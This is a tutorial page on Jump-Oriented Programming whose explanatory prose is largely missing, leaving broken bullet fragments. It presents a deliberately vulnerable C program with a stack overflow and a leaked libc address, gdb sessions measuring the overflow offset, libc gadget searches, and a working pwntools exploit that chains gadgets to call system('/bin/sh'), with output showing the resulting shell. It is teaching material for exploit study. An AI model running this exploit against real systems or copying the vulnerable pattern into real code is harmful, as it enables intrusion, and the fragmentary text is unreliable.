

13.JOP(Jump-Oriented Programming)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

Unknown macro: 'html'

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JOP(Jump-Oriented Programming)

- JOP JMP Exploit .
- JOP Gadget "Exploit + JMP" , Gadgets .
 - x64 0 : "mov rdi, 0; jmp [R9]"
 - x64 RSP : "mov rsi, [rsp]; jmp [R9]"
- JOP Gadget Gadget .
 - "Example of JOP" .
 - JOP Gadget 0x1000 ~ 0x1018 .
 - rdx "JOP Gadget - 8" (0x1000) .
 - Overflow return address dispatcher Gadget .
 - dispatcher Gadget .
 - add rdx, 8 rdx (0x1000) 8.(rdx : 0x1008)
 - jmp [rdx] rdx (0x1008) (0xffff0010) .
 - 0xffff0010 JOP Gadget .
 - mov rax, [rax] rax rax .
 - jmp rsi dispatcher Gadget .
 - JOP Gadget .

Example of JOP

| dispatcher Gadget (addr : 0xffff0910) | value of rdx register | JOP Gadget | | |
|--|-----------------------|----------------|------------|-----------------------------|
| | | Memory address | Value | Gadget |
| add rdx, 8 jmp [rdx] | 0x1000 | | | |
| | value of rsi register | 0x1008 | 0xffff0010 | mov rax, [rax] ; jmp rsi ; |
| | 0xffff0910 | 0x1010 | 0xffff0710 | add rax, [rbx] ; jmp [rdi]; |
| | value of rdi register | 0x1018 | 0xffff0410 | mov rdi, [rdx] ; jmp rsi; |
| | 0xffff0910 | 0x1020 | 0xffff0510 | jmp rax |

Jump-Oriented Programming: A New Class of Code-Reuse Attack

- <https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf>
- <https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf>

Proof of concept

- 02.ROP(Return Oriented Programming)-x64 .

Example code

jop.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    seteuid(getuid());
    write(1,"Hello ROP\n",10);
    vuln();
}
```

Build & Permission

Build

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o jop jop.c -ldl
```

Overflow

- **Breakpoints .**
 - 0x400756: vuln
 - 0x40079a: read()

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/JOP$ gdb -q ./jop
Reading symbols from ./jop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:      push    rbp
   0x0000000000400757 <+1>:      mov     rbp, rsp
   0x000000000040075a <+4>:      sub     rsp, 0x40
   0x000000000040075e <+8>:      mov     esi, 0x400864
   0x0000000000400763 <+13>:     mov     rdi, 0xffffffffffffffff
   0x000000000040076a <+20>:     call    0x400630 <dlsym@plt>
   0x000000000040076f <+25>:     mov     QWORD PTR [rbp-0x8], rax
   0x0000000000400773 <+29>:     mov     rax, QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:     mov     rsi, rax
   0x000000000040077a <+36>:     mov     edi, 0x40086b
   0x000000000040077f <+41>:     mov     eax, 0x0
   0x0000000000400784 <+46>:     call    0x400600 <printf@plt>
   0x0000000000400789 <+51>:     lea     rax, [rbp-0x40]
   0x000000000040078d <+55>:     mov     edx, 0x100
   0x0000000000400792 <+60>:     mov     rsi, rax
   0x0000000000400795 <+63>:     mov     edi, 0x0
   0x000000000040079a <+68>:     call    0x400610 <read@plt>
   0x000000000040079f <+73>:     nop
   0x00000000004007a0 <+74>:     leave
   0x00000000004007a1 <+75>:     ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **Overflow** .
 - Return address(0x7ffffffe4a8) - buf (0x7ffffffe460) = 72
 - , 72 Return address .

Overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/JOP/jop
Hello ROP

Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp                0x7ffffffe4a8          0x7ffffffe4a8
gdb-peda$ x/gx 0x7ffffffe4a8
0x7ffffffe4a8:      0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800

Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi                0x7ffffffe460          0x7ffffffe460
gdb-peda$ p/d 0x7ffffffe4a8 - 0x7ffffffe460
$1 = 72
gdb-peda$
```

Exploit method

- ROP Exploit .

Exploit

1. system "/bin/sh"

- .

ROP code

system(binsh)

- JOP Shell .
 - ROP Gadget RAX system()
 - JOP Gadget RDI ("/bin/sh") "JMP rax" system()

JOP structure

| | Value |
|---------------|----------------------------------|
| 0x7fffffff498 | Gadget(POP RAX, ret) Address |
| 0x7fffffff4a0 | System function address of libc |
| 0x7fffffff4a8 | Gadget(POP RDI, JMP RAX) Address |
| 0x7fffffff4b0 | First argument value |

- payload .

- "/bin/sh"
- libc offset
 - printf
 - system
- - POP RAX, ret
 - POP RDI, JMP RAX

Find gadget

- **rp++ Gadgets** .
 - Exploit code 0x33544 "pop rax ; ret;" .

pop rax ; ret ;

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rax ; ret"
0x00033544: pop rax ; ret ; (1 found)
0x0003a727: pop rax ; ret ; (1 found)
0x0003a728: pop rax ; ret ; (1 found)
0x0003a7f7: pop rax ; ret ; (1 found)
0x0003a7f8: pop rax ; ret ; (1 found)
0x0003a8a0: pop rax ; ret ; (1 found)
0x0003a8a1: pop rax ; ret ; (1 found)
0x000abc07: pop rax ; ret ; (1 found)
0x00106272: pop rax ; ret ; (1 found)
0x00106273: pop rax ; ret ; (1 found)
0x001a1448: pop rax ; ret ; (1 found)
0x000caabc: pop rax ; ret 0x002F ; (1 found)
lazenca0x0@ubuntu:~/Exploit/JOP$
```

```
pop rdi ; jmp rax ;
```

```
lazenca0x0@ubuntu:~/Exploit/JOP$ sudo ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1|grep "pop rdi ;  
jmp rax"  
0x00104052: pop rdi ; jmp rax ; (1 found)  
lazenca0x0@ubuntu:~/Exploit/JOP$
```

Exploit code

jop.py

```
from pwn import *  
from struct import *  
  
#context.log_level = 'debug'  
  
#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so  
libcbase_printf_offset = 0x55800  
libcbase_system_offset = 0x45390  
  
binsh_offset = 0x18cd57  
  
pop_rax_ret = 0x33544  
pop_rdi_jmp_rax = 0x104052  
  
r = process('./jop')  
  
r.recv(10)  
r.recvuntil('Printf() address : ')  
libcbase = int(r.recvuntil('\n'),16)  
libcbase -= libcbase_printf_offset  
  
payload = "A"*72  
payload += p64(libcbase + pop_rax_ret)  
payload += p64(libcbase + libcbase_system_offset)  
payload += p64(libcbase + pop_rdi_jmp_rax)  
payload += p64(libcbase + binsh_offset)  
  
r.send(payload)  
  
r.interactive()
```

python jop.py

```
lazenca0x0@ubuntu:~/Exploit/JOP$ python jop.py  
[+] Starting local process './jop': pid 6105  
[*] Switching to interactive mode  
$ id  
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),  
113(lpadmin),128(sambashare)  
$
```

Related site

- <http://www.cs.binghamton.edu/~mkayaalp/jop.html>
- <https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf>
- <https://repository.lib.ncsu.edu/bitstream/handle/1840.4/4135/TR-2010-8.pdf>
- <https://www.abigale.xin/JOP/>



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